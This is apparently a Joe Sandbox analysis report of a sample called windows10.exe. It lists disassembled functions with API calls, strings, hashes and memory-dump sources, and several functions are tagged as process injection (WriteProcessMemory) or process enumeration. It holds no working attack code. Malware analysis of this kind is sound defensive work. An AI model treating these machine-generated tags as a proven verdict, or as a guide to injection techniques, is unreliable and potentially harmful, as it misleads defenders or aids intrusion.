Function 00C4B1DF Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00C4B258,00000000,00C522DC,00C5F6D0,00000000,00000314,?,00C4FE01,00C5F6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00C4B1F1
TlsGetValue.KERNEL32(00C5C658,?,00C4B258,00000000,00C522DC,00C5F6D0,00000000,00000314,?,00C4FE01,00C5F6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00C4B208

Strings

EncodePointer, xrefs: 00C4B233
KERNEL32.DLL, xrefs: 00C4B218, 00C4B21D, 00C4B228

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: 15b5189fa32f93f8078f0c9e74029ef5cc71dfd707a56f262fb5714e12ebb9bf
Instruction ID: 6e92b1752449c8e22d93163cc156b46338fc683995961a58a29e91d8e3c59d28
Opcode Fuzzy Hash: 15b5189fa32f93f8078f0c9e74029ef5cc71dfd707a56f262fb5714e12ebb9bf
Instruction Fuzzy Hash: 9301F734540341ABCB30A779DC44F9E3F986F01364B580224FC18EB592DFB1DE8186D0

Function 00C4B25A Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00C4B2F5), ref: 00C4B26C
TlsGetValue.KERNEL32(00C5C658,?,00C4B2F5), ref: 00C4B283

Strings

DecodePointer, xrefs: 00C4B2AE
KERNEL32.DLL, xrefs: 00C4B293, 00C4B298, 00C4B2A3

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: 9539baef6f69ff89db77ad05cbbda47bdc8ec4dc69873265076319e9afda4b66
Instruction ID: 9a05831b751d17337265d78d41a35ef60c8f4ccd509ca1b03889587a75d1b4c1
Opcode Fuzzy Hash: 9539baef6f69ff89db77ad05cbbda47bdc8ec4dc69873265076319e9afda4b66
Instruction Fuzzy Hash: DCF0A934A00306AA9B206B69DC44FAF3B9DAF453A17140130FC2CE31A1DFA0DE8186E0

Function 00C5393A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C53968
__CallSettingFrame@12.LIBCMT ref: 00C539B8

Strings

j, xrefs: 00C5393E

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 227e63d8dbc2bc57d6f627193e0dffd1ff03e5df97a3ceb89e901e36afb21bc1
Instruction ID: dbd4f775b3dd50927eb19fc50148b0771b2ede3a8afeac7ef8737fe3dab022f9
Opcode Fuzzy Hash: 227e63d8dbc2bc57d6f627193e0dffd1ff03e5df97a3ceb89e901e36afb21bc1
Instruction Fuzzy Hash: CF11A0B5905190DFDB12CF69C44539CFBB0BF05716F18818ADCA46F182C3B1AE88DB85

Function 00C53F56 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00C53F69

Part of subcall function 00C53EC4: ___BuildCatchObjectHelper.LIBCMT ref: 00C53EFA

_UnwindNestedFrames.LIBCMT ref: 00C53F80

Strings

csm, xrefs: 00C53F65, 00C53F7A, 00C53F8D, 00C53FAB, 00C53FBB

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm
API String ID: 3487967840-1018135373
Opcode ID: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction ID: 559ba9d90d1f76c2b9e9478bc1d200fb7192c4dcb8bf3b894385eb6f3c7a8196
Opcode Fuzzy Hash: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction Fuzzy Hash: 7F014639400189BBDF126F91CC45EAE7F6AEF08392F008110FD1815121D772AAB5EBA8

Function 00C53CCF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C53CDE

Part of subcall function 00C4B4A6: __amsg_exit.LIBCMT ref: 00C4B4B6

__getptd.LIBCMT ref: 00C53CEC

Strings

csm, xrefs: 00C53CFA

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 26a396b7f8d6ad0d22a1f8c91d29c0213ce2de7ad14ed7ed1dde7fea289fa1f0
Instruction ID: 71f07a01c8f4e8e5109849bc23a3d275fe2b12ae2ffba3b142d9654df0912aa0
Opcode Fuzzy Hash: 26a396b7f8d6ad0d22a1f8c91d29c0213ce2de7ad14ed7ed1dde7fea289fa1f0
Instruction Fuzzy Hash: DB016D388102848BCF359F64C440ABCF7B5BF14752F54442DE8619A291EB71CFE8EB59

Analysis Process: windows10.exePID: 7228, Parent PID: 9132COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	260
Total number of Limit Nodes:	28

Executed Functions

Function 0114E776 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 170
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0114E781

Strings

X1lU, xrefs: 0114E8C3

Memory Dump Source

Source File: 00000011.00000002.2919171727.000000000113D000.00000020.00000001.01000000.00000009.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_113d000_windows10.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: X1lU
API String ID: 3332741929-3625842214
Opcode ID: 1595d427663678f6076cc8a7fdae2b8b657633282a6683045f77f64d7f4aeed1
Instruction ID: 5258a75d9f7cc26f9c797435939a61f0302dbc108e777d27ebe3fb0b5459260f
Opcode Fuzzy Hash: 1595d427663678f6076cc8a7fdae2b8b657633282a6683045f77f64d7f4aeed1
Instruction Fuzzy Hash: 2D519836804752CFDB1ADF38C8414EA7BE0FF8AB24724476CC4958B2A2D7349816CF91

Function 00BC92FC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomW.KERNEL32(00000000), ref: 00BC9350

Part of subcall function 00BC9070: SetErrorMode.KERNELBASE(00008000), ref: 00BC9084
Part of subcall function 00BC9070: SetErrorMode.KERNELBASE(?,00BC90D0), ref: 00BC90C3

Part of subcall function 00C5E394: LoadIconW.USER32(00C84040,MAINICON,?,?,?,00BC9410), ref: 00C5E4BC

Strings

ControlOfs%.8X%.8X, xrefs: 00BC937F
USER32, xrefs: 00BC9439
Delphi%.8X, xrefs: 00BC932E
DelphiRM_GetObjectInstance, xrefs: 00BC93AC
AnimateWindow, xrefs: 00BC946B

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: ErrorMode$AtomGlobalIconLoad
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$DelphiRM_GetObjectInstance$USER32
API String ID: 1953398334-1139167764
Opcode ID: 546a8897ae5348f930b9f11d8b0e3e867af10b6eba5e4f2a8ce70d8738c0f116
Instruction ID: 72bd7fcb42ccac24349ce42c7e75535b1fc490367376c388731dfc5c639de14c
Opcode Fuzzy Hash: 546a8897ae5348f930b9f11d8b0e3e867af10b6eba5e4f2a8ce70d8738c0f116
Instruction Fuzzy Hash: 76417B74A002459FDB14EFB8ED86BAE77E4FB85304B414469F400D7362EB34AE04CBA5

Function 00CAA4FB Relevance: 10.6, APIs: 7, Instructions: 102
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 00CAA52C
__mtterm.LIBCMT ref: 00CAA54F

Part of subcall function 00CAB309: TlsFree.KERNEL32(00CBC65C,00CAA5B6), ref: 00CAB334

__setenvp.LIBCMT ref: 00CAA55F
__cinit.LIBCMT ref: 00CAA56A
__mtterm.LIBCMT ref: 00CAA5B1
___set_flsgetvalue.LIBCMT ref: 00CAA5C2

Part of subcall function 00CAB2D5: TlsGetValue.KERNEL32(?,00CAB444), ref: 00CAB2DE
Part of subcall function 00CAB2D5: TlsSetValue.KERNEL32(00000000), ref: 00CAB2FF

Part of subcall function 00CAD25A: __calloc_impl.LIBCMT ref: 00CAD26B

__freeptd.LIBCMT ref: 00CAA621

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: Value__mtterm$FreeInitialize___set_flsgetvalue__calloc_impl__cinit__freeptd__setenvp
String ID:
API String ID: 3546094511-0
Opcode ID: 6c20ca4f29bb473bba21455381626194dd346e0d43bed657ecc18d6164b70041
Instruction ID: 3526b52753b9bb90e7173631795737d4d37793a13d3ee53c3a53c0788ca673f3
Opcode Fuzzy Hash: 6c20ca4f29bb473bba21455381626194dd346e0d43bed657ecc18d6164b70041
Instruction Fuzzy Hash: 5A21D672D04A43998A2177F66C46B6E23989F5336CF24052AF427C1463FF25CA41FA7B

Function 00C5D1A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000002,00000000), ref: 00C5D266

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00C5D250
layout text, xrefs: 00C5D297

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 71445658-2652665750
Opcode ID: af0821c7520759ed531f1f17a54e5eb9037dcf070350c4c2c2f0bfbb3051b704
Instruction ID: a933e0d18008758429c7235f3ca8e09cc6441f56ff30b6ed8a513bd2768c217e
Opcode Fuzzy Hash: af0821c7520759ed531f1f17a54e5eb9037dcf070350c4c2c2f0bfbb3051b704
Instruction Fuzzy Hash: D5410A78A04209AFDB21DF98CA82BADB7F9FB49700F5040A5E905E7251D770AF44CB66

Function 00BC9070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008000), ref: 00BC9084
SetErrorMode.KERNELBASE(?,00BC90D0), ref: 00BC90C3

Strings

imm32.dll, xrefs: 00BC90A3

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: ErrorMode
String ID: imm32.dll
API String ID: 2340568224-1815517138
Opcode ID: 56f2e503cf4763852b541224e9c4f856118f291d2cd51191dafe329b4d293716
Instruction ID: d815c856c2362f10144ca82782daf4e8363ec6838125c03e68d61b100deabcc0
Opcode Fuzzy Hash: 56f2e503cf4763852b541224e9c4f856118f291d2cd51191dafe329b4d293716
Instruction Fuzzy Hash: 80F0A772508744AFF721DB65AD16F2977ECD385B20F92C0E9F408939A0D675A940DB24

Function 00CA9568 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00CA9838

Part of subcall function 00CABD76: __FF_MSGBANNER.LIBCMT ref: 00CABD99
Part of subcall function 00CABD76: __NMSG_WRITE.LIBCMT ref: 00CABDA0
Part of subcall function 00CABD76: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00CABDED

std::bad_alloc::bad_alloc.LIBCMT ref: 00CA985B

Part of subcall function 00CA97B4: std::exception::exception.LIBCMT ref: 00CA97C0

std::bad_exception::bad_exception.LIBCMT ref: 00CA986F

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: AllocateHeap_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 832318072-0
Opcode ID: 62f1b89038824b7354bfca5b1a310117706dd44b2f8edc4aab861f4b369d047a
Instruction ID: 78c87167b7d6c8e8b12b5b1686f02ad86217f1b7e40c0b7e0e0ee1ad50e06c12
Opcode Fuzzy Hash: 62f1b89038824b7354bfca5b1a310117706dd44b2f8edc4aab861f4b369d047a
Instruction Fuzzy Hash: 8E01B53190420B6A8F147B66D8079AE37A8DB4376CF248035F865871E2EB79DE41D291

Function 00C5E394 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(00C84040,MAINICON,?,?,?,00BC9410), ref: 00C5E4BC

Strings

MAINICON, xrefs: 00C5E4AF

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: IconLoad
String ID: MAINICON
API String ID: 2457776203-2283262055
Opcode ID: 7874e5e956c42a46e461e73d66e112046db3201318bbded27d3f734e32c4e840
Instruction ID: 27a18aa23782dc4a6f09ac77d5016dc640b8ca37c03d0505c6a7bea36899230c
Opcode Fuzzy Hash: 7874e5e956c42a46e461e73d66e112046db3201318bbded27d3f734e32c4e840
Instruction Fuzzy Hash: 91613D709042808FDB50EF78C989B8A7BE5AF05304F4840B9EC48DF357DBB59A88CB65

Function 009CAF3C Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(00000000), ref: 009CAF7E
GetFileVersionInfoW.KERNELBASE(00000000), ref: 009CAFB3

Memory Dump Source

Source File: 00000011.00000002.2870548922.00000000009BB000.00000020.00000001.01000000.00000009.sdmp, Offset: 009BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9bb000_windows10.jbxd

Similarity

API ID: FileInfoVersion$Size
String ID:
API String ID: 2104008232-0
Opcode ID: 50da08b8a23c7851c81bd677d3dad36c343e020c76ec491517fd1c16b722e774
Instruction ID: 970e50dfe318921dbdcc2018b08c77a3aeeff1ed17d428cae41db04ec4b5920b
Opcode Fuzzy Hash: 50da08b8a23c7851c81bd677d3dad36c343e020c76ec491517fd1c16b722e774
Instruction Fuzzy Hash: 03219571E00609BFDB11DFA4CD92EAEB7FCEB89714B514479B510D3251EB349E00DA52

Function 00C57B98 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00000000,00000000,00C57DC8), ref: 00C57D46

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2c74cb28fd04d0ffefddcb5151783e1cf84423178069d7501a288e4f11ca3df3
Instruction ID: e121f63ceb4736f1fea39ff70ba5db936f75afd648bf0c41e2a7d3ffbc09bb2d
Opcode Fuzzy Hash: 2c74cb28fd04d0ffefddcb5151783e1cf84423178069d7501a288e4f11ca3df3
Instruction Fuzzy Hash: 6B51B3346083404BDB21AB38E885BAE36E5AF45302F0846B9FC559B297CAB5DDCDC758

Function 00C7A114 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00C7A1AD

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000C7A000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_c7a000_windows10.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 318a8d480a939d68c6145e0f8b7c9654a9fa18041f1732dff2e930b3ffb6650d
Instruction ID: 0f4c27157367f3fd61a97f7fd0519829fc810aa55b48b2147beb06f1b5976605
Opcode Fuzzy Hash: 318a8d480a939d68c6145e0f8b7c9654a9fa18041f1732dff2e930b3ffb6650d
Instruction Fuzzy Hash: 04615E70208284DBCB14EF28D94575E77F1BBC5308F60892BE09A8B776DA71DA45CB4B

Function 00C5D5D8 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemParametersInfoW.USER32(00000029,00000000,?,00000000,?,00000000,00C4F730,?,00C5CC47,00000000,00000000,00C5783C,6E6F4646,?,?,00000000), ref: 00C5D681

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: b560a0a0a4870ba4977145461ab62a7353d1f8e4915b0541c6c96e1ce7a119c6
Instruction ID: 54315df5aa4589edddf45525260db1f712387a5ae0cf4c3a6b9504fe0413cec1
Opcode Fuzzy Hash: b560a0a0a4870ba4977145461ab62a7353d1f8e4915b0541c6c96e1ce7a119c6
Instruction Fuzzy Hash: 6C413334600204ABDB50EBB4CD82BDA37E9EB49710F5484B1BD0CDF257EE30AD858B66

Function 00C9B5B0 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00C9B655

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000C9B000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C9B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_c9b000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d4bad12da2fdd539c0c8a4a10605c6f181b2f49d6bab8bfff8aac16ca0e965f8
Instruction ID: 0775888f6784d1a8a1116b4ed9bbfb0fd63dce4cb3bd40a129aaebac7dd20533
Opcode Fuzzy Hash: d4bad12da2fdd539c0c8a4a10605c6f181b2f49d6bab8bfff8aac16ca0e965f8
Instruction Fuzzy Hash: A911AF2024460A6AEF1D897DDC05F6E7FE2CFC2330F04836DB5268B5D4DB34980587A6

Function 00C9B610 Relevance: 1.5, APIs: 1, Instructions: 44injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00C9B655

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000C9B000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C9B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_c9b000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5429865e6951855d6711af4d11da7e6a40cb0d06f152d3c263eb90cf91d7c082
Instruction ID: 4dfcf29dbff31c00bbaf47420d29039d6e4b8497e268cb3b0ae92fecc9b44b92
Opcode Fuzzy Hash: 5429865e6951855d6711af4d11da7e6a40cb0d06f152d3c263eb90cf91d7c082
Instruction Fuzzy Hash: C5F02B3174010D66DF1888BCAC09BBDBB9BCBC2B30F1443A9B929C61D4E5709C054291

Function 00C5CFFC Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00000000,?,?,?,00C4F730,00C5CB5F,?,?,00000000,?,00BC93F0), ref: 00C5D036

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 4db5be184b0a09fc51bfee6d89bc0a14c7222d8f753eacd115d7f9c0d8b19148
Instruction ID: c5a78d7814425458ba6fde9200a0ba417990fe93559133a6aa21d4c0a5857a8b
Opcode Fuzzy Hash: 4db5be184b0a09fc51bfee6d89bc0a14c7222d8f753eacd115d7f9c0d8b19148
Instruction Fuzzy Hash: 53F08C657056001A9A309A7D4CC0BAE7288DBC6332F200326FD2A872D1CA212C8A16A8

Function 00BB94B0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 00BB94EB

Memory Dump Source

Source File: 00000011.00000002.2870548922.0000000000B7D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_b7d000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction ID: e0bbe715bca3811110881742a92ef003db1fcb23f4917bcbe1fd8e336695c67c
Opcode Fuzzy Hash: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction Fuzzy Hash: D4F0DA762047119FC310DF5CC88494BB7E9EF89259F044A59F986DB351C771E814CB92

Function 00CA9556 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00CA9838

Part of subcall function 00CABD76: __FF_MSGBANNER.LIBCMT ref: 00CABD99
Part of subcall function 00CABD76: __NMSG_WRITE.LIBCMT ref: 00CABDA0
Part of subcall function 00CABD76: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00CABDED

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 9fddc94e5dbf1e6244022615b92a186c3a5620306a6be185b52e64ba786d58d8
Instruction ID: 3ab422d88eca355780bcda0c4bdb16b8bbbd6d2277d0537ba2127afbb5071114
Opcode Fuzzy Hash: 9fddc94e5dbf1e6244022615b92a186c3a5620306a6be185b52e64ba786d58d8
Instruction Fuzzy Hash: B2D05B34408507968A1036B65C4B9BD3F688D9335CB204011E805551D3DF64C54195E2

Non-executed Functions

Function 00CAB65D Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,?,?,00CAA521), ref: 00CAB720
__init_pointers.LIBCMT ref: 00CAB72A
__mtterm.LIBCMT ref: 00CAB7E0

Strings

FlsSetValue, xrefs: 00CAB69D
FlsFree, xrefs: 00CAB6AA
FlsAlloc, xrefs: 00CAB688
KERNEL32.DLL, xrefs: 00CAB661, 00CAB666
FlsGetValue, xrefs: 00CAB690

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: Value__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 345306816-3819984048
Opcode ID: c1bd5eb1a6c3065e92a168a1ca49e08b4847569ae06ffccbb20d8db542f2e147
Instruction ID: 794acc85644624b369c04f7cd42311b97d77a0d05e6dad77d22ecaa41109eccb
Opcode Fuzzy Hash: c1bd5eb1a6c3065e92a168a1ca49e08b4847569ae06ffccbb20d8db542f2e147
Instruction Fuzzy Hash: E13140715002129ADB116F79AD46B1F3BA8AB46358F10473EF524D23B2EB798D43AF60

Function 00CAED2A Relevance: 13.8, APIs: 9, Instructions: 346COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000100,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 00CAEDFA
_malloc.LIBCMT ref: 00CAEE33
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 00CAEE66
_malloc.LIBCMT ref: 00CAEEF5
__freea.LIBCMT ref: 00CAEF4D
__freea.LIBCMT ref: 00CAEF56
_malloc.LIBCMT ref: 00CAF00B
_memset.LIBCMT ref: 00CAF02D
__freea.LIBCMT ref: 00CAF078

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: __freea_malloc$ByteCharMultiWide$_memset
String ID:
API String ID: 340271106-0
Opcode ID: 916d0b28926f1877ba9322d47d01ee959461430bda8e4eed8781705e4b95075b
Instruction ID: 857807c692f6f08e8f340018a0e6a0de3092c6b399e1f1ec6a8710d40c360e8e
Opcode Fuzzy Hash: 916d0b28926f1877ba9322d47d01ee959461430bda8e4eed8781705e4b95075b
Instruction Fuzzy Hash: E8B1CF7280011BAFDF21AFE4DC85CAE7BB5EF4A318F144129FA25A6161D731CE51DBA0

Function 00CB1E73 Relevance: 9.2, APIs: 6, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00CB1EF5
MultiByteToWideChar.KERNEL32(?,00000001,00000000,?,00000000,00000000,?,00CAF2FE,?,?,?,?,?,?,?,?), ref: 00CB1F35
_malloc.LIBCMT ref: 00CB1F45
_memset.LIBCMT ref: 00CB1F6D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,?,?,?,?,?,00CAF2FE,?), ref: 00CB1F84
__freea.LIBCMT ref: 00CB200C

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc_memset_strlen
String ID:
API String ID: 3923921168-0
Opcode ID: 33589e2b61ef05f22d541d107d2c7c0f288477d835219bf399bfb43dfb919a09
Instruction ID: be13cc014f9aee79b96f6a70f1578294a6b58e08048f26b397f8d5ef9d636f66
Opcode Fuzzy Hash: 33589e2b61ef05f22d541d107d2c7c0f288477d835219bf399bfb43dfb919a09
Instruction Fuzzy Hash: BA517D31D00119AECF219FA6DC84DEFBFB9EF89760F64411AF929A6190D7318D41DBA0

Function 00CAA86A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CAA8DB
___crtGetStringTypeA.LIBCMT ref: 00CAA906
___crtLCMapStringA.LIBCMT ref: 00CAA926
___crtLCMapStringA.LIBCMT ref: 00CAA94B

Strings

, xrefs: 00CAA8B2

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: fa0c79177d425ac37bcc3599e91d33a256a20d1c8bab7bbeb656d96ee6b99900
Instruction ID: 2cfb521c5f8f11c04a7845604a233cc551dfdfc681a73ea42d5154b501cb4d31
